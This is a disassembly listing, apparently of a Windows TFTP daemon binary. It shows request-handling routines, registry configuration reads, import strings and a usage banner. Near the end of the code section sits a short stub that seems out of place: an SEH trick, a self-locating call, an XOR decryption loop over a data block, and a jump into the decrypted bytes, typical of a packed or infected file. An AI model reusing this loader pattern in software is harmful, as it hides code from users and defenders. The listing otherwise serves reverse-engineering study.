loc_1003406: ; CODE XREF: sub_100333A+B8j
xor eax, eax
jmp short loc_100340F
; ---------------------------------------------------------------------------
loc_100340A: ; CODE XREF: sub_100333A+B4j
; sub_100333A+C2j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_100340F: ; CODE XREF: sub_100333A+CEj
test eax, eax
jnz short loc_100341F
mov dword ptr [ebx+10030h], 4000h
jmp short loc_100345D
; ---------------------------------------------------------------------------
loc_100341F: ; CODE XREF: sub_100333A+D7j
mov edi, offset aOctet ; "octet"
loc_1003424: ; CODE XREF: sub_100333A+106j
mov cl, [esi]
mov al, cl
cmp cl, [edi]
jnz short loc_1003446
test al, al
jz short loc_1003442
mov cl, [esi+1]
mov al, cl
cmp cl, [edi+1]
jnz short loc_1003446
inc esi
inc esi
inc edi
inc edi
test al, al
jnz short loc_1003424
loc_1003442: ; CODE XREF: sub_100333A+F4j
xor eax, eax
jmp short loc_100344B
; ---------------------------------------------------------------------------
loc_1003446: ; CODE XREF: sub_100333A+F0j
; sub_100333A+FEj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_100344B: ; CODE XREF: sub_100333A+10Aj
test eax, eax
jnz loc_10036F8
mov dword ptr [ebx+10030h], 8000h
loc_100345D: ; CODE XREF: sub_100333A+E3j
mov eax, [ebp+arg_0]
mov edi, [ebp+var_4]
or ecx, 0FFFFFFFFh
lea edx, [eax+1FFADh]
xor eax, eax
repne scasb
not ecx
sub edi, ecx
push edx
mov eax, ecx
mov esi, edi
mov edi, edx
mov [ebp+var_8], edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call sub_100261E
test eax, eax
jnz short loc_100349A
push offset aMalformedFileN ; "Malformed file name"
jmp short loc_10034DF
; ---------------------------------------------------------------------------
loc_100349A: ; CODE XREF: sub_100333A+157j
push [ebp+var_18]
push offset dword_1005D20
call sub_10039D6
test eax, eax
jz loc_10036EC
push [ebp+var_4]
push offset dword_1005D90
call sub_10039D6
test eax, eax
jz loc_10036EC
push (offset dword_1005E07+1)
push 0FFBCh
push [ebp+var_8]
call sub_100273D
test eax, eax
jnz short loc_10034E6
push offset aFileNameTooLon ; "File name too long"
loc_10034DF: ; CODE XREF: sub_100333A+15Ej
push 0
jmp loc_10036FC
; ---------------------------------------------------------------------------
loc_10034E6: ; CODE XREF: sub_100333A+19Ej
push 180h
push 8302h
push [ebp+var_8]
call ds:dword_10010E4
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebx+1002Ch], eax
jnz short loc_100351E
mov esi, ds:dword_10010AC
call esi ; dword_10010AC
call esi ; dword_10010AC
push dword ptr [eax]
call ds:dword_100102C
jmp loc_10036F2
; ---------------------------------------------------------------------------
loc_100351E: ; CODE XREF: sub_100333A+1CBj
xor esi, esi
push esi
push 2
push 2
call ds:dword_100112C
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_1003546
call ds:dword_10010F8
push offset aInsufficientRe ; "Insufficient resources"
push esi
jmp loc_10036FC
; ---------------------------------------------------------------------------
loc_1003546: ; CODE XREF: sub_100333A+1F9j
mov [ebp+var_26], si
mov esi, [ebp+arg_0]
push 10h
mov [ebp+var_28], 2
mov eax, [esi+1Ch]
mov [ebp+var_24], eax
lea eax, [ebp+var_28]
push eax
push edi
call ds:dword_1001124
test eax, eax
jz short loc_100358A
call ds:dword_10010F8
push offset aInsufficientRe ; "Insufficient resources"
push 0
push dword ptr [esi+8]
lea eax, [esi+0FFF1h]
add esi, 0Ch
push eax
push esi
jmp loc_100370D
; ---------------------------------------------------------------------------
loc_100358A: ; CODE XREF: sub_100333A+22Ej
lea eax, [ebx+10028h]
mov [esi+8], edi
push eax
lea eax, [ebx+38h]
push eax
lea eax, [ebx+10024h]
push eax
mov eax, [ebp+var_C]
inc eax
push 2
push eax
push esi
call sub_10023D8
test eax, eax
jnz loc_1003712
push ebx
call ds:dword_1001044
mov [ebx+20h], edi
add esi, 0Ch
lea edi, [ebx+28h]
mov [ebp+var_18], esi
movsd
movsd
movsd
movsd
xor esi, esi
push esi
push esi
push esi
push esi
call ds:dword_1001040
cmp eax, esi
mov [ebx+0FFF8h], eax
jz short loc_10035F8
push 2
pop edi
push edi
push eax
push [ebp+var_4]
call sub_100188E
cmp eax, esi
mov [ebx+0FFFCh], eax
jnz short loc_1003603
loc_10035F8: ; CODE XREF: sub_100333A+2A5j
call ds:dword_1001038
jmp loc_1003712
; ---------------------------------------------------------------------------
loc_1003603: ; CODE XREF: sub_100333A+2BCj
add ebx, 18h
push ebx
call sub_100287F
push [ebp+var_4]
mov [ebp+var_14], 1
call sub_10028B5
mov ebx, eax
cmp ebx, esi
jz loc_1003712
xor esi, esi
mov [ebp+var_10], 1
cmp [ebx+10028h], esi
jz short loc_100364A
mov eax, [ebp+arg_0]
mov eax, [eax+28h]
imul eax, 3E8h
mov [ebx+10000h], eax
jmp short loc_1003654
; ---------------------------------------------------------------------------
loc_100364A: ; CODE XREF: sub_100333A+2FAj
mov dword ptr [ebx+10000h], 3E8h
loc_1003654: ; CODE XREF: sub_100333A+30Ej
mov eax, [ebx+10000h]
push esi
push eax
push eax
push dword ptr [ebx+20h]
lea eax, [ebx+10004h]
push offset sub_1002A3D
push eax
push dword_10060A0
call ds:dword_1001178
mov eax, [ebp+arg_0]
mov ecx, [ebx+10024h]
mov [ebx+24h], edi
cmp ecx, esi
mov eax, [eax+20h]
mov [ebx+10018h], eax
lea eax, [ebx+10024h]
jz short loc_10036A1
mov [ebx+10020h], ecx
mov [eax], esi
jmp short loc_10036C5
; ---------------------------------------------------------------------------
loc_10036A1: ; CODE XREF: sub_100333A+35Bj
mov esi, ds:dword_1001104
push 4
pop edi
push edi
call esi ; dword_1001104
mov [ebx+38h], ax
mov ax, [ebx+10014h]
push eax
call esi ; dword_1001104
mov [ebx+3Ah], ax
mov [ebx+10020h], edi
loc_10036C5: ; CODE XREF: sub_100333A+365j
push 10h
lea eax, [ebx+38h]
push [ebp+var_18]
push 0
push dword ptr [ebx+10020h]
push eax
push [ebp+var_4]
call ds:dword_1001130
cmp eax, 0FFFFFFFFh
jnz short loc_1003712
call ds:dword_10010F8
jmp short loc_1003712
; ---------------------------------------------------------------------------
loc_10036EC: ; CODE XREF: sub_100333A+16Fj
; sub_100333A+184j
call ds:dword_10010AC
loc_10036F2: ; CODE XREF: sub_100333A+1DFj
push 0
push 2
jmp short loc_10036FC
; ---------------------------------------------------------------------------
loc_10036F8: ; CODE XREF: sub_100333A+113j
push 0
push 4
loc_10036FC: ; CODE XREF: sub_100333A+1A7j
; sub_100333A+207j ...
mov eax, [ebp+arg_0]
push dword ptr [eax+8]
lea ecx, [eax+0FFF1h]
add eax, 0Ch
push ecx
push eax
loc_100370D: ; CODE XREF: sub_100333A+24Bj
call sub_100230A
loc_1003712: ; CODE XREF: sub_100333A+48j
; sub_100333A+274j ...
test ebx, ebx
jz short loc_1003731
cmp [ebp+var_10], 0
jz short loc_1003723
push ebx
call ds:dword_100104C
loc_1003723: ; CODE XREF: sub_100333A+3E0j
cmp [ebp+var_14], 0
jnz short loc_1003731
push ebx
call ds:dword_10010A0
pop ecx
loc_1003731: ; CODE XREF: sub_100333A+21j
; sub_100333A+3DAj ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_100333A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100373A proc near ; CODE XREF: sub_1002CE6+D7p
var_1FF70 = byte ptr -1FF70h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 1FF70h
call sub_1003A3E
cmp [ebp+arg_C], 8000h
push esi
push edi
jnz short loc_100375A
push [ebp+arg_8]
push [ebp+arg_4]
jmp short loc_1003792
; ---------------------------------------------------------------------------
loc_100375A: ; CODE XREF: sub_100373A+16j
mov edx, [ebp+arg_4]
xor ecx, ecx
xor esi, esi
cmp [ebp+arg_8], ecx
jle short loc_1003790
mov edi, [ebp+arg_10]
loc_1003769: ; CODE XREF: sub_100373A+54j
cmp byte ptr [edi], 0Dh
jnz short loc_1003779
cmp byte ptr [ecx+edx], 0
jnz short loc_1003779
and byte ptr [edi], 0
jmp short loc_100378A
; ---------------------------------------------------------------------------
loc_1003779: ; CODE XREF: sub_100373A+32j
; sub_100373A+38j
mov al, [ecx+edx]
mov [ebp+esi+var_1FF70], al
inc esi
cmp al, 0Dh
jnz short loc_100378A
mov [edi], al
loc_100378A: ; CODE XREF: sub_100373A+3Dj
; sub_100373A+4Cj
inc ecx
cmp ecx, [ebp+arg_8]
jl short loc_1003769
loc_1003790: ; CODE XREF: sub_100373A+2Aj
push esi
push edx
loc_1003792: ; CODE XREF: sub_100373A+1Ej
push [ebp+arg_0]
call ds:dword_10010E8
mov edi, eax
add esp, 0Ch
cmp edi, 0FFFFFFFFh
jnz short loc_10037B7
mov esi, ds:dword_10010AC
call esi ; dword_10010AC
call esi ; dword_10010AC
push dword ptr [eax]
call ds:dword_100102C
loc_10037B7: ; CODE XREF: sub_100373A+69j
mov eax, edi
pop edi
pop esi
leave
retn 14h
sub_100373A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10037BF proc near ; CODE XREF: sub_1001665:loc_10017F3p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
lea eax, [ebp+var_10]
push ebx
xor ebx, ebx
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "System\\CurrentControlSet\\Services\\tftpd"...
push 80000002h
mov [ebp+var_4], ebx
call ds:dword_1001000
cmp eax, ebx
jz short loc_10037F6
call ds:dword_1001038
xor eax, eax
jmp loc_100390D
; ---------------------------------------------------------------------------
loc_10037F6: ; CODE XREF: sub_10037BF+28j
cmp byte ptr dword_1005E07+1, bl
push edi
push esi
mov esi, ds:dword_1001008
jnz short loc_100383C
lea eax, [ebp+var_8]
mov [ebp+var_8], 1F4h
push eax
lea eax, [ebp+var_C]
push (offset dword_1005E07+1)
push eax
push ebx
push offset aDirectory ; "directory"
push [ebp+var_10]
call esi ; dword_1001008
cmp eax, ebx
jz short loc_1003831
call ds:dword_1001038
jmp short loc_100383C
; ---------------------------------------------------------------------------
loc_1003831: ; CODE XREF: sub_10037BF+68j
push 1
pop eax
cmp [ebp+var_C], eax
jnz short loc_100383C
mov [ebp+var_4], eax
loc_100383C: ; CODE XREF: sub_10037BF+45j
; sub_10037BF+70j ...
push 32h
lea eax, [ebp+var_8]
pop edi
push eax
lea eax, [ebp+var_C]
push offset dword_1005CE8
push eax
push ebx
push offset aClients ; "clients"
push [ebp+var_10]
mov [ebp+var_8], edi
call esi ; dword_1001008
cmp eax, ebx
jz short loc_1003866
call ds:dword_1001038
jmp short loc_100386F
; ---------------------------------------------------------------------------
loc_1003866: ; CODE XREF: sub_10037BF+9Dj
cmp [ebp+var_C], 1
jnz short loc_100386F
inc [ebp+var_4]
loc_100386F: ; CODE XREF: sub_10037BF+A5j
; sub_10037BF+ABj
lea eax, [ebp+var_8]
mov [ebp+var_8], edi
push eax
lea eax, [ebp+var_C]
push offset dword_1005D20
push eax
push ebx
push offset aMasters ; "masters"
push [ebp+var_10]
call esi ; dword_1001008
cmp eax, ebx
jz short loc_1003896
call ds:dword_1001038
jmp short loc_100389F
; ---------------------------------------------------------------------------
loc_1003896: ; CODE XREF: sub_10037BF+CDj
cmp [ebp+var_C], 1
jnz short loc_100389F
inc [ebp+var_4]
loc_100389F: ; CODE XREF: sub_10037BF+D5j
; sub_10037BF+DBj
lea eax, [ebp+var_8]
mov [ebp+var_8], edi
push eax
lea eax, [ebp+var_C]
push offset dword_1005D58
push eax
push ebx
push offset aReadable ; "readable"
push [ebp+var_10]
call esi ; dword_1001008
cmp eax, ebx
jz short loc_10038C6
call ds:dword_1001038
jmp short loc_10038CF
; ---------------------------------------------------------------------------
loc_10038C6: ; CODE XREF: sub_10037BF+FDj
cmp [ebp+var_C], 1
jnz short loc_10038CF
inc [ebp+var_4]
loc_10038CF: ; CODE XREF: sub_10037BF+105j
; sub_10037BF+10Bj
lea eax, [ebp+var_8]
mov [ebp+var_8], edi
push eax
lea eax, [ebp+var_C]
push offset dword_1005D90
push eax
push ebx
push offset aWritable ; "writable"
push [ebp+var_10]
call esi ; dword_1001008
cmp eax, ebx
jz short loc_10038F6
call ds:dword_1001038
jmp short loc_10038FF
; ---------------------------------------------------------------------------
loc_10038F6: ; CODE XREF: sub_10037BF+12Dj
cmp [ebp+var_C], 1
jnz short loc_10038FF
inc [ebp+var_4]
loc_10038FF: ; CODE XREF: sub_10037BF+135j
; sub_10037BF+13Bj
push [ebp+var_10]
call ds:dword_100100C
mov eax, [ebp+var_4]
pop esi
pop edi
loc_100390D: ; CODE XREF: sub_10037BF+32j
pop ebx
leave
retn
sub_10037BF endp
; =============== S U B R O U T I N E =======================================
sub_1003910 proc near ; CODE XREF: sub_1001665+193p
var_1F4 = byte ptr -1F4h
sub esp, 1F4h
cmp byte ptr dword_1005E07+1, 0
push ebx
push ebp
push esi
push edi
mov ebp, 1F4h
mov ebx, (offset dword_1005E07+1)
jnz short loc_100393D
push ebp
push offset aTftpdroot ; "\\tftpdroot\\"
push ebx
call ds:dword_1001148
add esp, 0Ch
loc_100393D: ; CODE XREF: sub_1003910+1Bj
lea eax, [esp+204h+var_1F4]
push ebp
push eax
push ebx
call ds:dword_1001020
test eax, eax
jnz short loc_1003952
push 57h
jmp short loc_10039CA
; ---------------------------------------------------------------------------
loc_1003952: ; CODE XREF: sub_1003910+3Cj
mov ecx, eax
lea esi, [esp+204h+var_1F4]
mov edi, ebx
or edx, 0FFFFFFFFh
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, ebx
mov ecx, edx
repne scasb
not ecx
dec ecx
cmp byte ptr dword_1005E07[ecx], 2Fh
lea eax, dword_1005E07[ecx]
jnz short loc_1003986
mov byte ptr [eax], 5Ch
loc_1003986: ; CODE XREF: sub_1003910+71j
cmp byte ptr [eax], 5Ch
jz short loc_10039B7
cmp ecx, ebp
jnb short loc_10039B7
mov edi, offset asc_100155C ; "\\"
mov ecx, edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
mov ecx, edx
repne scasb
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd
mov ecx, ebp
and ecx, 3
rep movsb
loc_10039B7: ; CODE XREF: sub_1003910+79j
; sub_1003910+7Dj
mov edi, ebx
mov ecx, edx
xor eax, eax
push 1
repne scasb
not ecx
dec ecx
mov dword_1005FFC, ecx
loc_10039CA: ; CODE XREF: sub_1003910+40j
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 1F4h
retn
sub_1003910 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10039D6 proc near ; CODE XREF: sub_1002F31+148p
; sub_1002F31+159p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push edi
mov al, [esi]
test al, al
jz short loc_1003A2E
cmp al, 2Ah
jz short loc_1003A04
cmp al, 3Fh
jz short loc_10039F7
mov ecx, [ebp+arg_4]
cmp al, [ecx]
jnz short loc_1003A25
inc ecx
push ecx
jmp short loc_1003A01
; ---------------------------------------------------------------------------
loc_10039F7: ; CODE XREF: sub_10039D6+14j
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jz short loc_1003A25
inc eax
push eax
loc_1003A01: ; CODE XREF: sub_10039D6+1Fj
inc esi
jmp short loc_1003A1B
; ---------------------------------------------------------------------------
loc_1003A04: ; CODE XREF: sub_10039D6+10j
mov edi, [ebp+arg_4]
lea eax, [esi+1]
push edi
push eax
call sub_10039D6
test eax, eax
jnz short loc_1003A29
cmp [edi], al
jz short loc_1003A25
inc edi
push edi
loc_1003A1B: ; CODE XREF: sub_10039D6+2Cj
push esi
call sub_10039D6
test eax, eax
jnz short loc_1003A29
loc_1003A25: ; CODE XREF: sub_10039D6+1Bj
; sub_10039D6+27j ...
xor eax, eax
jmp short loc_1003A38
; ---------------------------------------------------------------------------
loc_1003A29: ; CODE XREF: sub_10039D6+3Dj
; sub_10039D6+4Dj
push 1
pop eax
jmp short loc_1003A38
; ---------------------------------------------------------------------------
loc_1003A2E: ; CODE XREF: sub_10039D6+Cj
mov ecx, [ebp+arg_4]
xor eax, eax
cmp [ecx], al
setz al
loc_1003A38: ; CODE XREF: sub_10039D6+51j
; sub_10039D6+56j
pop edi
pop esi
pop ebp
retn 8
sub_10039D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003A3E proc near ; CODE XREF: sub_1001A91+5p
; sub_100230A+8p ...
jmp ds:dword_100116C
sub_1003A3E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003A44 proc near ; CODE XREF: sub_10018DB+FEp
; sub_1002219+DAp
jmp ds:dword_1001138
sub_1003A44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003A4A proc near ; CODE XREF: sub_1001FA6+1Fp
; sub_1001FA6+43p
jmp ds:dword_100113C
sub_1003A4A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_1001560
push offset loc_1003BF0
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
mov [ebp-18h], esp
mov dword ptr [ebp-4], 0
push 1
call ds:dword_10010C4
add esp, 4
mov dword_10062D0, 0FFFFFFFFh
mov dword_10062D4, 0FFFFFFFFh
call ds:dword_10010C8
mov ecx, dword_100600C
mov [eax], ecx
call ds:dword_10010CC
mov edx, dword_1006008
mov [eax], edx
mov eax, ds:dword_10010D0
mov ecx, [eax]
mov dword_10062D8, ecx
call nullsub_2
mov eax, dword_1005DC4
test eax, eax
jnz short loc_1003AE1
push offset loc_1003BD0
call ds:dword_1001084
add esp, 4
loc_1003AE1: ; CODE XREF: .text:01003AD1j
call sub_1003BB0
push offset dword_100500C
push offset dword_1005008
call sub_1003BA6
add esp, 8
mov edx, dword_1006004
mov [ebp-28h], edx
lea eax, [ebp-28h]
push eax
mov ecx, dword_1006000
push ecx
lea edx, [ebp-20h]
push edx
lea eax, [ebp-2Ch]
push eax
lea ecx, [ebp-1Ch]
push ecx
call ds:dword_1001080
add esp, 14h
push offset dword_1005004
push offset dword_1005000
call sub_1003BA6
add esp, 8
call ds:dword_10010D8
mov edx, [ebp-20h]
mov [eax], edx
mov eax, [ebp-20h]
push eax
mov ecx, [ebp-2Ch]
push ecx
mov edx, [ebp-1Ch]
push edx
call sub_1001570
add esp, 0Ch
mov [ebp-24h], eax
push eax
call ds:dword_10010EC
jmp short loc_1003B80
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-30h], ecx
push eax
push ecx
call sub_1003BA0
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov edx, [ebp-30h]
push edx
call ds:dword_10010DC+4
loc_1003B80: ; CODE XREF: .text:01003B5Cj
add esp, 4
mov dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003BA0 proc near ; CODE XREF: .text:01003B6Ap
jmp ds:dword_10010DC
sub_1003BA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003BA6 proc near ; CODE XREF: .text:01003AF0p
; .text:01003B2Bp
jmp ds:dword_100107C
sub_1003BA6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_1003BB0 proc near ; CODE XREF: .text:loc_1003AE1p
push 30000h
push 10000h
call sub_1003BF6
add esp, 8
retn
sub_1003BB0 endp
; ---------------------------------------------------------------------------
align 10h
loc_1003BD0: ; DATA XREF: .text:01003AD3o
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
align 10h
loc_1003BF0: ; DATA XREF: .text:01003A5Ao
jmp ds:dword_10010C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_1003BF6 proc near ; CODE XREF: sub_1003BB0+Ap
jmp ds:dword_10010BC
sub_1003BF6 endp
; ---------------------------------------------------------------------------
dd 3D7Ch, 2 dup(0FFFFFFFFh), 3E60h, 10F4h, 3CA4h, 2 dup(0FFFFFFFFh)
dd 4012h, 101Ch, 3C88h, 2 dup(0FFFFFFFFh), 40A2h, 1000h
dd 3DCCh, 2 dup(0FFFFFFFFh), 4172h, 1144h, 3DC0h, 2 dup(0FFFFFFFFh)
dd 41A2h, 1138h, 3D04h, 2 dup(0FFFFFFFFh), 42F6h, 107Ch
dd 5 dup(0)
dd 4092h, 4020h, 407Eh, 4070h, 4052h, 403Eh, 0
dd 3E6Ch, 3FF6h, 3FE6h, 3FCEh, 3FBEh, 3FB2h, 3FA2h, 3E7Ah
dd 3E8Ah, 3EA0h, 3EB0h, 3ECCh, 3EDAh, 3EF2h, 3EFEh, 3F0Ch
dd 3F24h, 3F3Ch, 3F56h, 3F62h, 3F70h, 3F78h, 3F92h, 0
dd 4282h, 4272h, 428Eh, 4230h, 4226h, 421Eh, 4214h, 420Ah
dd 4200h, 41F8h, 41F0h, 41E6h, 41DCh, 41D2h, 41CAh, 41C2h
dd 4302h, 42E2h, 42D0h, 42C2h, 42B2h, 42A2h, 41B8h, 4262h
dd 4254h, 424Ch, 423Ah, 4242h, 41B0h, 0
dd 3E52h, 8000006Fh, 80000073h, 3E08h, 80000009h, 3E1Ah
dd 8000000Fh, 3E34h, 8000000Ah, 3E42h, 80000003h, 8000000Ch
dd 80000002h, 80000037h, 80000017h, 80000014h, 0
dd 417Ch, 4190h, 0
dd 4126h, 4168h, 415Eh, 4154h, 4142h, 4130h, 411Ah, 4112h
dd 410Ah, 40F4h, 40EAh, 40D4h, 40B0h, 40C2h, 0
dd 53570019h, 65764541h, 6553746Eh, 7463656Ch, 1B0000h
aWsagetoverlapp db 'WSAGetOverlappedResult',0
align 4
a2 db '2',0
aWsarecvfrom db 'WSARecvFrom',0
dw 0Fh
aWsacloseevent db 'WSACloseEvent',0
db '=',0
aWsasocketa db 'WSASocketA',0
align 10h
aWs2_32_dll db 'WS2_32.dll',0
align 4
aM db 'Œ',0
aExitprocess db 'ExitProcess',0
dw 12Dh
aGetlasterror db 'GetLastError',0
align 2
dw 2FDh
aWaitforsingleo db 'WaitForSingleObject',0
a4 db '4',0
aCreateeventa db 'CreateEventA',0
align 10h
db 0C5h ; Å
db 1, 49h, 6Eh
aItializecritic db 'itializeCriticalSection',0
dd 654801B6h, 72437061h, 65746165h, 1DE0000h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
dw 1BAh
aHeapfree db 'HeapFree',0
align 2
dw 1Eh
aClosehandle db 'CloseHandle',0
aO db 'o',0
aEntercriticals db 'EnterCriticalSection',0
align 4
retf
; ---------------------------------------------------------------------------
db 1, 49h, 6Eh
aTerlockedincre db 'terlockedIncrement',0
align 4
db 0FBh ; û
db 2, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
dw 1B4h
aHeapalloc db 'HeapAlloc',0
dw 252h
aResetevent db 'ResetEvent',0
align 10h
retn
; ---------------------------------------------------------------------------
db 2, 53h, 6Ch
db 65h ; e
db 65h, 70h, 0
db 0D8h ; Ø
db 2, 54h, 72h
aYentercritical db 'yEnterCriticalSection',0
dw 2C5h
aSuspendthread db 'SuspendThread',0
dw 254h
aResumethread db 'ResumeThread',0
db 0, 90h, 2
aSetevent db 'SetEvent',0
align 2
dw 29Ch
aSetlasterror db 'SetLastError',0
align 2
aZ db 'Z',0
aDeletecritical db 'DeleteCriticalSection',0
dw 12Fh
aGetlocaltime db 'GetLocalTime',0
align 2
aP db '',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
aKernel32_dll db 'KERNEL32.dll',0
align 10h
db 0E5h ; å
db 1, 53h, 74h
aArtservicectrl db 'artServiceCtrlDispatcherA',0
dw 1DFh
aSetservicestat db 'SetServiceStatus',0
align 2
dw 1B9h
aRegisterservic db 'RegisterServiceCtrlHandlerA',0
db 84h ; „
db 1, 52h, 65h
aGclosekey db 'gCloseKey',0
dw 1A7h
aRegqueryvaluee db 'RegQueryValueExA',0
align 2
dw 19Dh
aRegopenkeyexa db 'RegOpenKeyExA',0
aAdvapi32_dll db 'ADVAPI32.dll',0
align 10h
db 50h ; P
db 2, 52h, 74h
aLregisterwait db 'lRegisterWait',0
dw 184h
aRtlcreatetimer db 'RtlCreateTimer',0
align 4
db 85h ; …
db 1, 52h, 74h
aLcreatetimerqu db 'lCreateTimerQueue',0
dw 42Eh
a_chkstk db '_chkstk',0
db 0A1h ; ¡
db 1, 52h, 74h
aLderegisterwai db 'lDeregisterWaitEx',0
dw 433h
a_itoa db '_itoa',0
dw 450h
aAtoi db 'atoi',0
align 2
dw 43Dh
a_stricmp db '_stricmp',0
align 2
dw 46Dh
aMemmove db 'memmove',0
dd 7452019Dh, 6C65446Ch, 54657465h, 72656D69h, 2990000h
dd 556C7452h, 74616470h, 6D695465h, 7265h, 6F740486h, 65776F6Ch
dd 45F0072h, 70757369h, 726570h, 7473047Dh, 70636E72h
dd 746E0079h, 2E6C6C64h, 6C6C64h, 6F4E004Fh, 79666974h
dd 72646441h, 6E616843h, 6567h, 65470022h, 41704974h, 54726464h
dd 656C6261h, 70690000h, 61706C68h, 642E6970h, 6C6Ch, 78650246h
dd 7469h, 7270029Bh, 66746E69h, 2430000h, 6D697463h, 2540065h
dd 65706F66h, 17F006Eh, 646B6D5Fh, 7269h, 655F00C5h, 6F6E7272h
dd 0AA0000h, 6468635Fh, 7269h, 697402CDh, 656Dh, 7266025Bh
dd 6565h, 63660249h, 65736F6Ch, 2A40000h, 6C616572h, 636F6Ch
dd 616D028Eh, 636F6C6Ch, 1950000h, 6165725Fh, 0B00064h
dd 6F6C635Fh, 6573h, 6C5F0141h, 6B656573h, 1840000h, 65706F5Fh
dd 214006Eh, 6972775Fh, 6574h, 655F00D0h, 746978h, 585F0048h
dd 46747063h, 65746C69h, 630072h, 5F705F5Fh, 6E695F5Fh
dd 6E657469h, 580076h, 65675F5Fh, 69616D74h, 6772616Eh
dd 10C0073h, 696E695Fh, 72657474h, 82006Dh, 65735F5Fh
dd 65737574h, 74616D72h, 72726568h, 9B0000h, 6A64615Fh
dd 5F747375h, 76696466h, 690000h, 5F705F5Fh, 6D6F635Fh
dd 65646F6Dh, 6E0000h, 5F705F5Fh, 6F6D665Fh, 6564h, 5F5F0080h
dd 5F746573h, 5F707061h, 65707974h, 0C70000h, 6378655Fh
dd 5F747065h, 646E6168h, 3372656Ch, 534D0000h, 54524356h
dd 6C6C642Eh, 0B40000h, 6E6F635Fh, 6C6F7274h, 7066h
; =============== S U B R O U T I N E =======================================
sub_1004310 proc near ; CODE XREF: sub_1004323+28p
pusha
push ebp
mov ebp, esp
call sub_1004323
call sub_1004394
jmp near ptr loc_1004350+1
sub_1004310 endp
; =============== S U B R O U T I N E =======================================
sub_1004323 proc near ; CODE XREF: sub_1004310+4p
push dword ptr fs:0
mov fs:0, esp
xor ecx, ecx
push ecx
push ecx
push 80000000h
push ecx
push ecx
push 10000h
push ecx
push ecx
push 200h
push 80000000h
call sub_1004310
loc_1004350: ; CODE XREF: sub_1004310+Ej
add [ecx], ebp
jmp fword ptr [ecx]
sub_1004323 endp
; ---------------------------------------------------------------------------
leave
mov cl, 0FCh
loc_1004357: ; CODE XREF: .text:01004359j
inc edi
dec ecx
jnz short loc_1004357
call $+5
pop edx
sub edx, 0FFFFCF60h
push edx
mov ecx, 24CDh
loc_100436D: ; CODE XREF: .text:0100437Bj
xchg al, [edx]
xor ax, di
mov [edx], al
add edx, 1
dec ecx
cmp ecx, 0
jnz short loc_100436D
pop edx
mov esp, fs:0
pop dword ptr fs:0
pop edi
pop ebp
mov [esp+14h], edx
popa
jmp edx
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_1004394 proc near ; CODE XREF: sub_1004310+9p
arg_C = dword ptr 10h
mov edx, [esp+arg_C]
xor eax, eax
pop dword ptr [edx+0B8h]
retn
sub_1004394 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 3 dup(?)
dd 17h dup(?)
_text ends
; Section 2. (virtual address 00005000)
; Virtual size : 000012DC ( 4828.)
; Section size in file : 000012DC ( 4828.)
; Offset to raw data for section: 00005000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 1005000h
dword_1005000 dd 0 dword_1005004 dd 0 dword_1005008 dd 0 dword_100500C dd 0 asc_1005010 db ' ================================================================'
; DATA XREF: sub_1001570+4Do
db '======== ',0Ah
db 'Abstract: '
db ' ',0Ah
db ' This implements an RFC 783 tftp daemon. '
db ' ',0Ah
db ' It listens on port 69 for requests '
db ' ',0Ah
db ' and spawns a thread to process each request. '
db ' ',0Ah
db ' '
db ' ',0Ah
db 'TFTPD USAGE and Installation: '
db ' ',0Ah
db ' '
db ' ',0Ah
db ' md d:/tftpd (the StartDirec'
db 'tory). ',0Ah
db ' copy //MohsinA_p90/test/tftpd.exe . '
db ' ',0Ah
